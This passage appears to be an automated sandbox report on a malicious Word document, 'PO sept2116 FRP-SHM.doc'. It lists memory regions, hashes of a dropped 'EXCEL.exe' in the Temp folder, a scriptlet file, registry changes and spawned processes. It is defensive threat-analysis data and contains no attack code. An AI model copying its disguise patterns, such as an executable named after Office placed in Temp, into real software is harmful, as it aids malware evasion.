SHA256 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd
SHA512 c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18

memory/1748-91-0x0000000004720000-0x0000000004721000-memory.dmp

memory/1796-92-0x0000000004E60000-0x0000000004E61000-memory.dmp

memory/1748-93-0x0000000002290000-0x00000000022D8000-memory.dmp

memory/1612-97-0x0000000000000000-mapping.dmp

memory/296-96-0x0000000000000000-mapping.dmp

memory/1980-98-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 c76ec9954800eb464c7c885dd79bd4c5
SHA1 5668d6f08b21f614b090372be8e0e82fb4e2a020
SHA256 71e0c865d9517d95846934eb8949a3fee2c5fbd867d165e21718ee6aefa8ebdc
SHA512 fba98bc4b3df8e4022f8a5f8397c1b97a0bc34cf2ec6e5afb03a8a70e0f2c8e36adaad61cc91ffe6fe5237b97d07e93652988e4e6110b8aa4c664fd9af85f2cc

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 c76ec9954800eb464c7c885dd79bd4c5
SHA1 5668d6f08b21f614b090372be8e0e82fb4e2a020
SHA256 71e0c865d9517d95846934eb8949a3fee2c5fbd867d165e21718ee6aefa8ebdc
SHA512 fba98bc4b3df8e4022f8a5f8397c1b97a0bc34cf2ec6e5afb03a8a70e0f2c8e36adaad61cc91ffe6fe5237b97d07e93652988e4e6110b8aa4c664fd9af85f2cc

memory/296-104-0x0000000002470000-0x00000000030BA000-memory.dmp

memory/1980-105-0x0000000002530000-0x000000000317A000-memory.dmp

memory/296-106-0x0000000002470000-0x00000000030BA000-memory.dmp

memory/1980-107-0x0000000002530000-0x000000000317A000-memory.dmp

memory/296-108-0x0000000002470000-0x00000000030BA000-memory.dmp

memory/1980-109-0x0000000002530000-0x000000000317A000-memory.dmp

memory/296-110-0x0000000004D50000-0x0000000005022000-memory.dmp

memory/1980-111-0x0000000004CF0000-0x0000000004FC2000-memory.dmp

memory/2016-112-0x0000000000000000-mapping.dmp

memory/2016-113-0x000007FEFBB51000-0x000007FEFBB53000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

MD5 230811e776cb540cbc2a06fe4adaf339
SHA1 d679baca39696f690213099869bf6efc1cc8c560
SHA256 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd
SHA512 c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18

memory/684-115-0x00000000044A0000-0x00000000044D0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

MD5 230811e776cb540cbc2a06fe4adaf339
SHA1 d679baca39696f690213099869bf6efc1cc8c560
SHA256 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd
SHA512 c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

MD5 230811e776cb540cbc2a06fe4adaf339
SHA1 d679baca39696f690213099869bf6efc1cc8c560
SHA256 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd
SHA512 c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18

memory/1632-121-0x00000000004010B8-mapping.dmp

\Users\Admin\AppData\Local\Temp\EXCEL.exe

MD5 230811e776cb540cbc2a06fe4adaf339
SHA1 d679baca39696f690213099869bf6efc1cc8c560
SHA256 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd
SHA512 c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18

memory/1632-120-0x0000000000400000-0x000000000042C000-memory.dmp

\Users\Admin\AppData\Local\Temp\EXCEL.exe

MD5 230811e776cb540cbc2a06fe4adaf339
SHA1 d679baca39696f690213099869bf6efc1cc8c560
SHA256 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd
SHA512 c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

MD5 230811e776cb540cbc2a06fe4adaf339
SHA1 d679baca39696f690213099869bf6efc1cc8c560
SHA256 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd
SHA512 c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18

\Users\Admin\AppData\Local\Temp\EXCEL.exe

MD5 230811e776cb540cbc2a06fe4adaf339
SHA1 d679baca39696f690213099869bf6efc1cc8c560
SHA256 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd
SHA512 c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18

memory/2020-128-0x0000000000400000-0x0000000000443000-memory.dmp

memory/2020-129-0x0000000000401364-mapping.dmp

memory/2020-130-0x0000000000630000-0x0000000000783000-memory.dmp

memory/2028-133-0x0000000000000000-mapping.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2021-09-16 15:12

Reported

2021-09-16 15:14

Platform

win10v20210408

Max time kernel

149s

Max time network

146s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO sept2116 FRP-SHM.doc" /o ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process N/A C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Modifies registry class

Description Indicator Process Target
Key created \Registry\User\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-2655489379-1601221536-1756726240-1460485878-27669589-255327476-2886430322\Children C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key created \Registry\User\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\oice_16_974fa576_32c1d314_3f7a C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_CLASSES\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPCONTAINER\MAPPINGS\S-1-15-2-2655489379-1601221536-1756726240-1460485878-27669589-255327476-2886430322\CHILDREN C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key created \Registry\User\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\oice_16_974fa576_32c1d314_3f7a\Children C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_CLASSES\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPCONTAINER\STORAGE\OICE_16_974FA576_32C1D314_3F7A\CHILDREN C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\oice_16_974fa576_32c1d314_3f7a C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-2655489379-1601221536-1756726240-1460485878-27669589-255327476-2886430322 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key created \Registry\User\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-2655489379-1601221536-1756726240-1460485878-27669589-255327476-2886430322 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-2655489379-1601221536-1756726240-1460485878-27669589-255327476-2886430322\DisplayName = "OICE_16_974FA576_32C1D314_3F7A" C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-2655489379-1601221536-1756726240-1460485878-27669589-255327476-2886430322\Moniker = "oice_16_974fa576_32c1d314_3f7a" C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

NTFS ADS

Description Indicator Process Target
File opened for modification C:\Users\Admin\AppData\Local\Temp\{E749516F-38D3-4FA8-B9F6-114096C744F8}\abdtfhghgeghDh.ScT:Zone.Identifier C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO sept2116 FRP-SHM.doc" /o ""

C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE

"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE" C:\Program Files\Common Files\Microsoft Shared\GRPHFLT\PNG32.FLT

Network

Files

memory/628-114-0x00007FFF50D30000-0x00007FFF50D40000-memory.dmp

memory/628-115-0x00007FFF50D30000-0x00007FFF50D40000-memory.dmp

memory/628-116-0x00007FFF50D30000-0x00007FFF50D40000-memory.dmp

memory/628-117-0x00007FFF50D30000-0x00007FFF50D40000-memory.dmp

memory/628-119-0x00007FFF50D30000-0x00007FFF50D40000-memory.dmp

memory/628-118-0x00007FFF71E90000-0x00007FFF749B3000-memory.dmp

memory/628-122-0x0000025AA6C50000-0x0000025AA7D3E000-memory.dmp

memory/628-123-0x00007FFF6A4B0000-0x00007FFF6C3A5000-memory.dmp

memory/3928-360-0x0000000000000000-mapping.dmp

memory/3928-362-0x00007FFF50D30000-0x00007FFF50D40000-memory.dmp

memory/3928-363-0x00007FFF50D30000-0x00007FFF50D40000-memory.dmp

memory/3928-364-0x00007FFF50D30000-0x00007FFF50D40000-memory.dmp

memory/3928-365-0x00007FFF50D30000-0x00007FFF50D40000-memory.dmp

C:\Users\Admin\AppData\Local\Packages\oice_16_974fa576_32c1d314_3f7a\AC\Temp\FLE615.tmp

MD5 0758e384887aa003836be27fcd16d179
SHA1 f991b1da1c6167d1bf3b55cfe821a7ad8b46dd3b
SHA256 ec38d435cb9abfbc1fc9c9165b1fc6f1a7cf3028126fb08bf2a33ce842b038ce
SHA512 90d60153551a47adc862503b9cfc365a8778a4e077ace01a2336cdefd39cdc1d11dce81c176aa58cd1524b1a00fa867ec391fd1396bd271730e73857f01ac0e8